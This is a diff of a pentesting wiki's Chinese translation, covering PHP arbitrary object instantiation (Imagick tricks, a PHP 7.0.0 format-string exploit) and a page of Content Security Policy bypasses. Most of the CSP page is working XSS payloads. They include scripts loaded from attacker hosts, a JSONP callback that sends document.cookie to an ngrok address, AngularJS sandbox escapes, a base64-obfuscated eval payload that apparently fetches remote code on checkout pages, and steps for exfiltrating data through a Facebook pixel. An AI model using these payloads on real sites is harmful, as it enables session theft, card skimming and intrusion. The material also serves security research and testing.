需要注意的是 PHP 将上传的文件临时存放在 `/tmp/phpXXXXXX`。Imagick 中的 VID 解析器使用 **msl** 协议,可以在文件路径中处理通配符,从而将临时文件传送到选定的目标位置。该方法提供了在文件系统中实现任意文件写入的另一种途径。
|
||||
|
||||
### PHP 崩溃 + 暴力破解
|
||||
### PHP 崩溃 + Brute Force
|
||||
|
||||
在 [**原始写作**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 中描述的方法涉及上传触发服务器崩溃的文件,然后再删除。通过暴力破解临时文件的名称,Imagick 可以执行任意 PHP 代码。然而,发现这种技术仅在过时的 ImageMagick 版本中有效。
|
||||
一种在[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)中描述的方法涉及上传会在删除前触发服务器崩溃的文件。通过对临时文件名进行暴力猜测,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中有效。
|
||||
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
|
||||
当用户输入控制类名(例如 `new $_GET['model']()`)时,PHP 7.0.0 在进行 `Throwable` 重构期间引入了一个短暂的 Bug,导致引擎在解析类名时错误地将其当作 printf 格式字符串处理。这使得可以在 PHP 内部利用经典的 printf 风格原语:leaks(使用 `%p`)、通过宽度说明符控制写入计数,以及针对进程内指针(例如 ELF 构建的 GOT 条目)使用 `%n` 执行任意写入。
|
||||
|
||||
Minimal repro vulnerable pattern:
|
||||
```php
|
||||
<?php
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
利用概述(来自参考):
|
||||
- Leak 地址 via `%p` in the class name to find a writable target:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- 使用位置参数和宽度说明符设置精确的字节计数,然后 `%n` 将该值写入栈上可访问的地址,目标为 GOT 槽(例如 `free`)以部分覆盖为 `system`。
|
||||
- 通过传递包含 shell 管道的类名来触发被劫持的函数,从而执行 `system("id")`。
|
||||
|
||||
Notes:
|
||||
- 仅适用于 PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105));在随后的版本中已修复。严重性:critical(如果存在任意类实例化)。
|
||||
- Typical payloads 串联多个 `%p` 遍历栈,然后使用 `%.<width>d%<pos>$n` 来实现部分覆盖。
|
||||
|
||||
## References
|
||||
|
||||
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,14 +1,14 @@
|
||||
# 内容安全策略 (CSP) 绕过
|
||||
# 内容安全策略 (CSP) Bypass
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是 CSP
|
||||
|
||||
内容安全策略 (CSP) 被认为是一种浏览器技术,主要旨在 **防御诸如跨站脚本 (XSS) 的攻击**。它通过定义和详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括内联资源以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。
|
||||
Content Security Policy (CSP) 被视为一种浏览器技术,主要用于**防护诸如跨站脚本攻击 (XSS) 之类的攻击**。它通过定义和说明浏览器可以从中安全加载资源的路径和来源来发挥作用。这些资源包括图片、frames 和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括 inline 资源,以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。
|
||||
|
||||
CSP 的实施通过 **响应头** 或通过将 **meta 元素纳入 HTML 页面** 来进行。遵循此政策,浏览器主动执行这些规定,并立即阻止任何检测到的违规行为。
|
||||
CSP 的实现通过**响应头**或通过将**meta 元素嵌入 HTML 页面**来进行。浏览器会遵循该策略主动强制这些规定,并在检测到违规时立即阻止。
|
||||
|
||||
- 通过响应头实施:
|
||||
- 通过响应头实现:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
### Headers
|
||||
### 请求头
|
||||
|
||||
CSP 可以通过以下头部进行强制执行或监控:
|
||||
CSP 可以通过以下请求头来强制或监控:
|
||||
|
||||
- `Content-Security-Policy`: 强制执行 CSP;浏览器会阻止任何违规行为。
|
||||
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
|
||||
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规但不阻止。适合在预生产环境中进行测试。
|
||||
|
||||
### Defining Resources
|
||||
### 定义资源
|
||||
|
||||
CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和使用 `eval()` 等方面。一个示例策略是:
|
||||
CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和 `eval()` 的使用等方面。示例策略如下:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||||
media-src https://videos.cdn.mozilla.net;
|
||||
object-src 'none';
|
||||
```
|
||||
### 指令
|
||||
### Directives
|
||||
|
||||
- **script-src**: 允许特定来源的JavaScript,包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。
|
||||
- **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。
|
||||
- **child-src**: 指定允许的Web工作者和嵌入框架内容的资源。
|
||||
- **connect-src**: 限制可以使用fetch、WebSocket、XMLHttpRequest等接口加载的URL。
|
||||
- **frame-src**: 限制框架的URL。
|
||||
- **frame-ancestors**: 指定可以嵌入当前页面的来源,适用于`<frame>`、`<iframe>`、`<object>`、`<embed>`和`<applet>`等元素。
|
||||
- **img-src**: 定义允许的图像来源。
|
||||
- **font-src**: 指定使用`@font-face`加载的字体的有效来源。
|
||||
- **script-src**: 允许特定来源的 JavaScript,包括 URL、内联脚本,以及由事件处理程序或 XSLT 样式表触发的脚本。
|
||||
- **default-src**: 设置默认策略,用于在缺少特定 fetch 指令时获取资源。
|
||||
- **child-src**: 指定允许的资源,用于 web workers 和嵌入的 frame 内容。
|
||||
- **connect-src**: 限制可以通过如 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。
|
||||
- **frame-src**: 限制 frames 的 URL。
|
||||
- **frame-ancestors**: 指定哪些来源可以嵌入当前页面,适用于 `<frame>`、`<iframe>`、`<object>`、`<embed>` 和 `<applet>` 等元素。
|
||||
- **img-src**: 定义图片允许的来源。
|
||||
- **font-src**: 指定使用 `@font-face` 加载字体的有效来源。
|
||||
- **manifest-src**: 定义应用程序清单文件的允许来源。
|
||||
- **media-src**: 定义加载媒体对象的允许来源。
|
||||
- **object-src**: 定义`<object>`、`<embed>`和`<applet>`元素的允许来源。
|
||||
- **base-uri**: 指定使用`<base>`元素加载的允许URL。
|
||||
- **object-src**: 定义 `<object>`、`<embed>` 和 `<applet>` 元素的允许来源。
|
||||
- **base-uri**: 指定使用 `<base>` 元素加载时允许的 URL。
|
||||
- **form-action**: 列出表单提交的有效端点。
|
||||
- **plugin-types**: 限制页面可以调用的mime类型。
|
||||
- **upgrade-insecure-requests**: 指示浏览器将HTTP URL重写为HTTPS。
|
||||
- **sandbox**: 应用类似于`<iframe>`的sandbox属性的限制。
|
||||
- **report-to**: 指定如果违反政策将发送报告的组。
|
||||
- **worker-src**: 指定Worker、SharedWorker或ServiceWorker脚本的有效来源。
|
||||
- **prefetch-src**: 指定将被获取或预获取的资源的有效来源。
|
||||
- **navigate-to**: 限制文档可以通过任何方式导航的URL(a、form、window.location、window.open等)。
|
||||
- **plugin-types**: 限制页面可调用的 MIME 类型。
|
||||
- **upgrade-insecure-requests**: 指示浏览器将 HTTP URL 重写为 HTTPS。
|
||||
- **sandbox**: 应用类似于 `<iframe>` 的 sandbox 属性的限制。
|
||||
- **report-to**: 指定在策略被违反时,报告将发送到的组。
|
||||
- **worker-src**: 指定 Worker、SharedWorker 或 ServiceWorker 脚本的有效来源。
|
||||
- **prefetch-src**: 指定将要被抓取或预抓取的资源的有效来源。
|
||||
- **navigate-to**: 限制文档可通过任何方式导航到的 URL(如 a、form、window.location、window.open 等)。
|
||||
|
||||
### 来源
|
||||
### Sources
|
||||
|
||||
- `*`: 允许所有URL,除了那些带有`data:`、`blob:`、`filesystem:`方案的URL。
|
||||
- `*`: 允许所有 URL,除了使用 `data:`, `blob:`, `filesystem:` 方案的。
|
||||
- `'self'`: 允许从同一域加载。
|
||||
- `'data'`: 允许通过数据方案加载资源(例如,Base64编码的图像)。
|
||||
- `'data'`: 允许通过 data 方案加载资源(例如 Base64 编码的图片)。
|
||||
- `'none'`: 阻止从任何来源加载。
|
||||
- `'unsafe-eval'`: 允许使用`eval()`和类似方法,出于安全原因不推荐使用。
|
||||
- `'unsafe-eval'`: 允许使用 `eval()` 和类似方法,出于安全原因不建议使用。
|
||||
- `'unsafe-hashes'`: 启用特定的内联事件处理程序。
|
||||
- `'unsafe-inline'`: 允许使用内联资源,如内联`<script>`或`<style>`,出于安全原因不推荐使用。
|
||||
- `'nonce'`: 使用加密nonce(一次性使用的数字)对特定内联脚本的白名单。
|
||||
- 如果您有JS限制执行,可以使用`doc.defaultView.top.document.querySelector("[nonce]")`在页面内获取使用的nonce,然后重用它加载恶意脚本(如果使用了strict-dynamic,任何允许的来源都可以加载新来源,因此这不是必需的),如:
|
||||
- `'unsafe-inline'`: 允许使用内联资源,如内联 `<script>` 或 `<style>`,出于安全原因不建议使用。
|
||||
- `'nonce'`: 使用加密 nonce(一次性数字)对白名单中特定内联脚本进行许可。
|
||||
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>重用nonce加载脚本</summary>
|
||||
<summary>重用 nonce 来加载脚本</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`:允许特定 sha256 哈希的脚本通过白名单。
|
||||
- `'strict-dynamic'`:如果通过 nonce 或哈希被列入白名单,则允许从任何来源加载脚本。
|
||||
- `'host'`:指定特定主机,例如 `example.com`。
|
||||
- `https:`:限制 URL 仅使用 HTTPS。
|
||||
- `blob:`:允许从 Blob URL 加载资源(例如,通过 JavaScript 创建的 Blob URL)。
|
||||
- `filesystem:`:允许从文件系统加载资源。
|
||||
- `'report-sample'`:在违规报告中包含违规代码的示例(对调试有用)。
|
||||
- `'strict-origin'`:类似于 'self',但确保源的协议安全级别与文档匹配(只有安全源可以从安全源加载资源)。
|
||||
- `'strict-origin-when-cross-origin'`:在进行同源请求时发送完整 URL,但在跨源请求时仅发送源。
|
||||
- `'unsafe-allow-redirects'`:允许加载会立即重定向到另一个资源的资源。不推荐使用,因为这会削弱安全性。
|
||||
- `'sha256-<hash>'`: 将具有特定 sha256 哈希的脚本列入白名单。
|
||||
- `'strict-dynamic'`: 如果脚本已被 nonce 或 hash 列入白名单,则允许从任意来源加载脚本。
|
||||
- `'host'`: 指定一个特定主机,例如 `example.com`。
|
||||
- `https:`: 将 URL 限制为使用 HTTPS 的地址。
|
||||
- `blob:`: 允许从 Blob URL 加载资源(例如通过 JavaScript 创建的 Blob URL)。
|
||||
- `filesystem:`: 允许从文件系统加载资源。
|
||||
- `'report-sample'`: 在违规报告中包含违规代码的样本(有助于调试)。
|
||||
- `'strict-origin'`: 类似于 'self',但确保资源来源的协议安全级别与文档匹配(仅安全来源可以从安全来源加载资源)。
|
||||
- `'strict-origin-when-cross-origin'`: 在进行同源请求时发送完整 URL,但在跨源请求时只发送 origin。
|
||||
- `'unsafe-allow-redirects'`: 允许加载会立即重定向到其他资源的资源。不推荐,因为它会削弱安全性。
|
||||
|
||||
## 不安全的 CSP 规则
|
||||
|
||||
@ -105,9 +105,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
有效的有效载荷: `"/><script>alert(1);</script>`
|
||||
可用的 payload:`"/><script>alert(1);</script>`
|
||||
|
||||
#### 通过 Iframes 的 self + 'unsafe-inline'
|
||||
#### self + 'unsafe-inline' 通过 Iframes
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -117,34 +117,34 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!CAUTION]
|
||||
> 这不起作用,更多信息请[**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
|
||||
> 这不可行,更多信息请 [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
有效的有效载荷:
|
||||
可用的 payload:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且是由允许的脚本创建的,那么**新的脚本标签将被允许执行**。
|
||||
如果你能以某种方式让 **被允许的 JS 代码在 DOM 中创建了一个新的 script tag**,并且该 tag 包含你的 JS 代码(因为是一个被允许的脚本在创建它),那么 **新的 script tag 将被允许执行**。
|
||||
|
||||
### Wildcard (\*)
|
||||
### 通配符 (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
有效的有效载荷:
|
||||
有效的 payload:
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
### 缺少 object-src 和 default-src
|
||||
|
||||
> [!CAUTION] > **看起来这不再有效**
|
||||
> [!CAUTION] > **看起来这不再起作用了**
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
有效的有效载荷:
|
||||
有效的 payloads:
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
@ -154,30 +154,30 @@ Content-Security-Policy: script-src 'self' ;
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
如果您可以上传一个 JS 文件,您可以绕过这个 CSP:
|
||||
如果你能上传 JS 文件,你可以 bypass 这个 CSP:
|
||||
|
||||
工作有效载荷:
|
||||
有效的 payload:
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**。
|
||||
然而,很有可能服务器正在**验证上传的文件**,并且只允许你**上传特定类型的文件**。
|
||||
|
||||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供它。
|
||||
此外,即便你可以使用服务器接受的扩展名在文件中上传 **JS code inside**(例如:_script.png_),这仍然不够,因为有些服务器(如 apache server)会**根据扩展名选择文件的 MIME type**,而像 Chrome 这样的浏览器会**拒绝在本应为图片的文件中执行 Javascript** 代码。“幸运的是”,有时会有失误。例如,在一次 CTF 中我了解到 **Apache doesn't know** _**.wave**_ 扩展,因此它不会以 **MIME type like audio/*** 的方式来提供该文件。
|
||||
|
||||
从这里开始,如果您发现了XSS和文件上传,并且设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多格式文件([这里有一些多格式文件示例](https://github.com/Polydet/polyglot-database))。
|
||||
因此,如果你发现一个 XSS 和一个文件上传,并且设法找到一个**被误判的扩展名**,你可以尝试上传一个带有该扩展名且包含脚本内容的文件。或者,如果服务器在检查上传文件的正确格式,可以创建一个 polyglot([some polyglot examples here](https://github.com/Polydet/polyglot-database))。
|
||||
|
||||
### Form-action
|
||||
|
||||
如果无法注入JS,您仍然可以尝试通过**注入表单操作**来提取例如凭据(并可能期望密码管理器自动填充密码)。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。此外,请注意`default-src`不涵盖表单操作。
|
||||
如果无法注入 JS,你仍然可以尝试通过例如注入表单 action 来外泄凭证(并可能寄希望于密码管理器自动填充)。你可以在这份[**报告示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)中找到一个例子。此外,注意 `default-src` 并不覆盖 form actions。
|
||||
|
||||
### 第三方端点 + ('unsafe-eval')
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> 对于以下某些有效负载**`unsafe-eval`甚至不需要**。
|
||||
> 对于下面的一些 payload,**`unsafe-eval` 甚至不是必需的**。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
加载一个易受攻击的 Angular 版本并执行任意 JS:
|
||||
加载一个存在漏洞的 angular 版本并执行任意 JS:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### 使用 Angular + 一个返回 `window` 对象的函数库的有效载荷 ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads — 使用 Angular 加上一个其 functions 会返回 `window` 对象的 library([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!TIP]
|
||||
> 该帖子显示您可以 **加载** 来自 `cdn.cloudflare.com`(或任何其他允许的 JS 库库)的所有 **库**,执行每个库中添加的所有函数,并检查 **哪些库中的哪些函数返回 `window` 对象**。
|
||||
> 该文章显示你可以 **load** 所有 **libraries** 自 `cdn.cloudflare.com`(或其他任何被允许的 JS libraries repo),对每个 library 执行所有添加的 functions,并检查 **哪些 functions 来自哪些 libraries 会返回 `window` 对象**。
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -225,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
Angular XSS来自类名:
|
||||
来自类名的 Angular XSS:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### 滥用 Google reCAPTCHA JS 代码
|
||||
#### Abusing google recaptcha JS code
|
||||
|
||||
根据 [**这篇 CTF 文章**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves),您可以在 CSP 内部滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP:
|
||||
根据 [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves),你可以在 CSP 内滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -244,7 +244,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
更多 [**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
更多 [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -261,21 +261,21 @@ b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### 利用 www.google.com 进行开放重定向
|
||||
#### 滥用 www.google.com 进行 open redirect
|
||||
|
||||
以下 URL 重定向到 example.com (来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
下面的 URL 会重定向到 example.com(来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
滥用 \*.google.com/script.google.com
|
||||
|
||||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在[这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)所做的那样。
|
||||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在这篇[报告](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)中所做的那样。
|
||||
|
||||
### 第三方端点 + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作负载:
|
||||
像这种场景,当 `script-src` 被设置为 `self` 且某个特定域被列入白名单时,可以通过 JSONP 绕过。JSONP endpoints 允许不安全的 callback 方法,从而使攻击者执行 XSS。可用的 payload:
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -289,28 +289,28 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```html
|
||||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **包含可用于不同网站的CSP绕过的现成JSONP端点。**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **包含可直接使用的 JSONP endpoints,用于对不同网站进行 CSP bypass。**
|
||||
|
||||
如果**受信任的端点包含开放重定向**,则会发生相同的漏洞,因为如果初始端点是受信任的,则重定向也是受信任的。
|
||||
如果 **受信任的 endpoint 包含 Open Redirect**,也会出现相同的漏洞,因为如果初始端点被信任,重定向也会被信任。
|
||||
|
||||
### 第三方滥用
|
||||
|
||||
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,有许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是:
|
||||
如在 [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) 中所述,存在许多第三方域名可能在 CSP 的某处被允许,可能被滥用来 exfiltrate 数据或执行 JavaScript 代码。以下是其中一些第三方:
|
||||
|
||||
| 实体 | 允许的域名 | 能力 |
|
||||
| ----------------- | ------------------------------------------ | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| 实体 | 被允许的域名 | 能力 |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
如果您在目标的CSP中发现任何允许的域名,您可能能够通过在第三方服务上注册来绕过CSP,并将数据提取到该服务或执行代码。
|
||||
如果你在目标的 CSP 中发现这些被允许的域名之一,很可能可以通过在该第三方服务注册来 bypass CSP,进而将数据 exfiltrate 到该服务或执行代码。
|
||||
|
||||
例如,如果您发现以下CSP:
|
||||
例如,如果你发现以下 CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
@ -318,43 +318,43 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
您应该能够提取数据,就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下,您遵循以下一般步骤:
|
||||
你应该能够 exfiltrate data,类似于一直以来通过 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 所采用的方法。在本例中,遵循以下通用步骤:
|
||||
|
||||
1. 在此处创建一个 Facebook 开发者帐户。
|
||||
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
|
||||
3. 转到“设置 -> 基本”,获取您的“应用 ID”。
|
||||
4. 在您想要提取数据的目标网站中,您可以通过直接使用 Facebook SDK 小工具“fbq”通过“customEvent”和数据负载来提取数据。
|
||||
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
||||
6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。
|
||||
1. 在此创建一个 Facebook Developer 帐户。
|
||||
2. 创建一个新的 "Facebook Login" 应用并选择 "Website"。
|
||||
3. 转到 "Settings -> Basic" 并获取你的 "App ID"。
|
||||
4. 在你想从中 exfiltrate data 的目标站点上,你可以直接使用 Facebook SDK 的工具 "fbq" 通过一个 "customEvent" 和数据负载来 exfiltrate 数据。
|
||||
5. 进入你的应用的 "Event Manager" 并选择你创建的应用(注意 event manager 的 URL 可能类似于:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
||||
6. 选择标签 "Test Events" 以查看由“你”的 web site 发送的事件。
|
||||
|
||||
然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件:
|
||||
